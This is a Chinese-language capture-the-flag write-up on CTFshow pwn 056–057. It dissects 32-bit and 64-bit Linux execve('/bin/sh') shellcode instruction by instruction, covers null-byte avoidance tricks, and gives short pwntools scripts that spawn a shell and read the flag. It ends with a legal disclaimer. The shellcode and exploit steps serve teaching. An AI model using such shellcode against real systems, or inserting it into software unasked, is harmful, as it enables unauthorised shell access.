【CTFshow-pwn系列】03_栈溢出【pwn 056-057】详解:32位 与64位Shellcode 与 Linux 系统调用底层原理剖析

【CTFshow-pwn系列】03_栈溢出【pwn 056】详解:32位 Shellcode 与 Linux 系统调用底层原理剖析

本文仅用于技术研究,禁止用于非法用途。

Author:枷锁

在前面的关卡中,我们经历了惊心动魄的栈溢出,甚至手撕了出题人自定义的 Canary(栈哨兵)。来到 PWN 056 ,出题人画风突变,不仅没有设下重重陷阱,反而给出了一句返璞归真的提示:"先了解一下简单的32位shellcode吧"。

在二进制安全领域,Shellcode 就是我们攻城拔寨的终极武器。既然这关是基础教学局,那我们就收起杀心,带上放大镜,从汇编的底层视角,好好品鉴一下这段"看一眼就送 Shell"的代码。

第一部分:题目信息与环境侦察(虚假的平静)

1. 检查保护机制 (checksec)

复制代码
~/Desktop .............................................................. at 22:34:38
> checksec pwn  
[*] '/home/shining/Desktop/pwn'
    Arch:       i386-32-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX disabled       <-- 划重点!
    PIE:        No PIE (0x8048000)
    Stripped:   No

原理解析: 看看这满屏的红色(保护全关)!特别是 NX disabled(数据执行保护已关闭)。这意味着不仅是代码段,连堆栈上的数据都可以被当作指令来执行!虽然这道题程序直接把后门喂到了我们嘴里,但这正是经典 Shellcode 能够运行的完美温床。

第二部分:破局思路与静态分析(硬核剖析)

将程序拖入 IDA Pro,我们直接看 start 函数。

1. 伪代码一览:开局送屠龙刀

复制代码
void __noreturn start()
{
  int v0; // eax
  char v1[10]; // [esp-Ch] [ebp-Ch] BYREF
  __int16 v2; // [esp-2h] [ebp-2h]

  v2 = 0;
  strcpy(v1, "/bin///sh");
  v0 = sys_execve(v1, 0, 0); // 直接调用系统 API 拿 Shell!
}

破案了!这题压根就没有输入输出,也没有溢出点,程序一启动就直接执行了 sys_execve("/bin///sh", 0, 0)。 但这题的真正考点在于**"它是如何在汇编层面实现这一切的"**。我们切到汇编视图,逐行硬核解剖。

2. 深入核心:手撕 32 位 Shellcode 汇编

程序的真实面貌其实是一段极简的 x86 汇编代码:

复制代码
.text:08048060 start           proc near               
.text:08048060                 push    68h ; 'h'
.text:08048062                 push    732F2F2Fh ; 's///'
.text:08048067                 push    6E69622Fh ; 'nib/'
.text:0804806C                 mov     ebx, esp        ; ebx = "/bin///sh" 的地址
.text:0804806E                 xor     ecx, ecx        ; ecx = 0
.text:08048070                 xor     edx, edx        ; edx = 0
.text:08048072                 push    0Bh
.text:08048074                 pop     eax             ; eax = 11 (sys_execve)
.text:08048075                 int     80h             ; 触发 Linux 系统调用!
.text:08048075 start           endp

逻辑与原理解析(系统调用的艺术):

  1. 字符串入栈(压入 /bin///sh : 因为 x86 架构是小端序(Little Endian) ,字符串在内存中需要反着放。
    • push 0x68:压入 h,同时 32 位系统会在高位补 0(即 0x00000068),这个自带的 0x00 完美地充当了 C 语言字符串的结束符 \0
    • push 0x732f2f2f:压入 s/// 的 HEX 码。
    • push 0x6e69622f:压入 nib/ 的 HEX 码。 (此时栈顶 esp 指向的正是这串字符的开头!)
  2. 配置寄存器参数(准备 execve : 在 32 位 Linux 的 int 0x80 系统调用规范中,参数是通过寄存器传递的:
    • ebx (参数1: 文件路径):mov ebx, esp 直接把栈顶指针(字符串地址)塞给它。
    • ecx (参数2: argv):xor ecx, ecx 异或自身清零,相当于 NULL
    • edx (参数3: envp):xor edx, edx 同理清零,相当于 NULL
  3. 拔出屠龙刀(触发中断)
    • push 0xB & pop eax:将 11 放进 eax 寄存器。在 Linux 内核中,11 号系统调用就是大名鼎鼎的 sys_execve
    • int 0x80:向 CPU 发送 0x80 中断信号,内核接管程序,执行开天辟地的 execve("/bin///sh", NULL, NULL)

第三部分:实战 EXP 编写与详解 (Pwntools 魔法)

既然程序连交互都不需要就直接送上了 Shell,我们的 EXP 自然也就是大道至简

复制代码
from pwn import *

context.log_level = 'debug'
io = process('./pwn')

# 什么都不用发,直接拿 Shell / 读 Flag
io.interactive()

运行脚本,享受绿色的 $ 符号吧!

第四部分:小白踩坑实录 (深入骨髓的教训)

1. 为什么是 /bin///sh 而不是 /bin/sh

很多新手在看汇编时会产生巨大的疑惑:"老师教我拿 Shell 都是执行 /bin/sh,这多出来的两个 / 是不是写代码的人手抖了?"

原理解析: 绝对不是手抖!这是 Pwn 手在编写 32 位 Shellcode 时的经典凑字数技巧(4字节对齐)。 在 32 位系统中,寄存器和栈操作每次最好是 4 个字节(32 bit)。

  • 正常的 /bin/sh 一共是 7 个字符。如果我们强行分段:/bin (4字节) + /sh (3字节)。
  • 3 字节压栈非常麻烦,容易导致指令变长或者包含坏字符(Badchars,如 \x00)。
  • 但是在 Linux 系统中,路径里的连续多个 / 等价于一个 /
  • 所以前辈们巧妙地改成了 /bin///sh,正好 8 个字符!完美分成两份 4 字节的数据:nib/s///,极大简化了汇编指令。

2. 为什么不用 mov eax, 11 而是用 push 0xBpop eax

初学者可能会问,给 eax 赋值 11,直接 mov eax, 11 不好吗?搞这么花里胡哨干嘛?

原理解析: 如果你编译 mov eax, 11,它的机器码是 B8 0B 00 00 00。 看懂了吗?里面包含了三个 \x00(截断符)!在很多栈溢出场景中,输入函数(如 strcpy)一旦遇到 \x00 就会停止复制,导致你的 Shellcode 被拦腰斩断! 而 push 0xB (6A 0B) 配合 pop eax (58),不仅实现了赋值,机器码中完全没有 \x00,并且指令长度更短(只有 2 字节 vs 5 字节),堪称汇编艺术!

【CTFshow-pwn系列】03_栈溢出【pwn 057】详解:AMD64 架构下 64位 Shellcode 的进阶之路

Author:枷锁

在上一关 pwn 056 中,我们领略了 32 位 Shellcode 的极简之美。而这一关 pwn 057 ,我们将跨越到 64 位的世界。随着寄存器从 e 开头进化到 r 开头,系统调用的传参方式和指令集也发生了翻天覆地的变化。

如果你觉得 32 位只是"开胃菜",那么 64 位才是现代二进制安全真正的主战场。

第一部分:题目信息与环境侦察

1. 检查保护机制 (checksec)

复制代码
~/Desktop .............................................................. at 12:58:10
> checksec pwn  
[*] '/home/shining/Desktop/pwn'
    Arch:       amd64-64-little   <-- 步入 64 位时代
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX unknown        <-- GNU_STACK 缺失,通常意味着栈可执行
    PIE:        No PIE (0x400000)
    Stack:      Executable        <-- 确认栈可执行
    Stripped:   No

原理解析: 题目明确显示为 amd64-64-little ,这意味着我们需要遵循 x86-64 的系统调用约定(System V AMD64 ABI)。NX 保护缺失且提示 Stack: Executable,这简直是 Shellcode 执行的完美乐园。

第二部分:破局思路与静态分析(硬核剖析)

将程序拖入 IDA Pro 64-bit,直接定位到 _start 函数。

1. 汇编代码硬核解剖

程序几乎没有任何多余逻辑,其核心就是一段教科书级别的 64 位 Shellcode:

复制代码
.text:0000000000400080 _start           proc near               
.text:0000000000400080                 push    rax
.text:0000000000400081                 xor     rdx, rdx        ; rdx = 0 (envp)
.text:0000000000400084                 xor     rsi, rsi        ; rsi = 0 (argv)
.text:0000000000400087                 mov     rbx, 68732F2F6E69622Fh ; "/bin//sh"
.text:0000000000400091                 push    rbx             ; 字符串入栈
.text:0000000000400092                 push    rsp             ; 压入当前栈顶地址
.text:0000000000400093                 pop     rdi             ; rdi = "/bin//sh" 地址
.text:0000000000400094                 mov     al, 3Bh         ; rax = 59 (sys_execve)
.text:0000000000400096                 syscall                 ; 触发 64 位系统调用!
.text:0000000000400096 _start           endp

逻辑与原理解析(64 位系统调用的核心差异):

  1. 寄存器传参的重构 : 在 64 位 Linux 中,系统调用不再使用 int 0x80,而是使用更高效的 syscall 指令。参数传递顺序也发生了变化:
    • 系统调用号 存放在 rax
    • 参数 1 存放在 rdi(对应 32 位的 ebx)。
    • 参数 2 存放在 rsi(对应 32 位的 ecx)。
    • 参数 3 存放在 rdx(对应 32 位的 edx)。
  2. 字符串构造(/bin//sh
    • mov rbx, 68732F2F6E69622Fh:将 /bin//sh 的 8 字节 HEX 直接存入 64 位寄存器 rbx
    • push rbx:将这 8 字节压入栈中。
    • push rsp & pop rdi:这是一种非常巧妙的取地址方式。rsp 此时指向栈顶的字符串,通过压栈再弹给 rdi,成功让 rdi 指向了 /bin//sh 的内存地址。
  3. 调用号的秘密
    • mov al, 3Bh:3B 是十六进制,转换成十进制是 59
    • 关键点 :32 位下的 execve 调用号是 11,而 64 位下的 execve 调用号是 59。这是新手最容易搞混的地方!

第三部分:实战 EXP 编写与详解 (Pwntools 魔法)

针对 64 位环境,我们需要在 context 中明确指定架构。

复制代码
from pwn import *

# 基础配置:arch 必须改为 'amd64'
context(arch='amd64', os='linux', log_level='debug')

io = process('./pwn')

print("[*] 正在接收 64 位 Shell...")

# 直接发送获取 flag 的指令
io.sendline(b'cat /ctf*')

# 接收并打印所有回显
try:
    print(io.recvall(timeout=3).decode(errors='ignore'))
except EOFError:
    print("[!] 提醒:如果遇到 0B 接收,请尝试在网页端重置题目环境!")

第四部分:小白踩坑实录 (深入骨髓的教训)

1. int 0x80syscall 的混淆

很多习惯了 32 位的同学,在写 64 位 Shellcode 时依然会下意识地写 int 0x80后果: 在 64 位模式下执行 int 0x80 虽然也能触发 32 位兼容模式的系统调用,但由于寄存器对应关系(如 rax 高位可能不为 0)和调用号完全不同,极易导致不可预知的崩溃。 真理: 64 位请认准 syscall

2. 传参寄存器的"大换血"

记住了 eax, ebx, ecx?不好意思,在 64 位里它们失宠了。

  • 32 位eax (号), ebx, ecx, edx
  • 64 位rax (号), rdi, rsi, rdx 如果把 execve 的第一个参数(路径地址)放到了 rbx 里而不是 rdi 里,程序只会对着空地址发呆。

3. 系统调用号的"背叛"

这是最坑的一点:同一功能在 32 位和 64 位下的调用号是不一样的!

  • execve: 32位是 11 (0xB) ,64位是 59 (0x3B)
  • read: 32位是 3 ,64位是 0
  • write: 32位是 4 ,64位是 1 。 在写 64 位 Payload 前,一定要查阅 unistd_64.h 确认调用号!

宇宙级免责声明 🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!

1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。

2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。

3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。

4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。

5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。

6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。

7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。
🔐 安全研究的正确姿势:

✅ 先授权,再测试

✅ 只针对自己拥有或有权测试的系统

✅ 发现漏洞后,及时报告并协助修复

✅ 尊重隐私,不越界

⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。

相关推荐
人间打气筒(Ada)1 小时前
ansible之role角色
运维·ansible·自动化运维·template·role·红帽·批量部署
shimly1234561 小时前
github 配置 ssh key ssh-key
运维·ssh·github
qq_437100661 小时前
ElasticSearch查询实例等记录
运维·jenkins
测试_AI_一辰2 小时前
AI测试工程笔记 04:Codex + Playwright 自动修复 UI 自动化脚本
人工智能·笔记·自动化
酷酷的崽7982 小时前
Ansible解锁便捷运维新方式,内网 NAS 也能远程管
运维·服务器·ansible
haluhalu.2 小时前
Socket编程踩坑记:为什么accept返回的socket fd总是0?
linux·服务器·网络
WJ.Polar2 小时前
Ansible Ad-Hoc命令
linux·运维·网络·ansible
小吴编程之路2 小时前
Linux基础命令大全
linux·运维·服务器
zmjjdank1ng2 小时前
如何保证ansible的幂等性
linux·服务器·ansible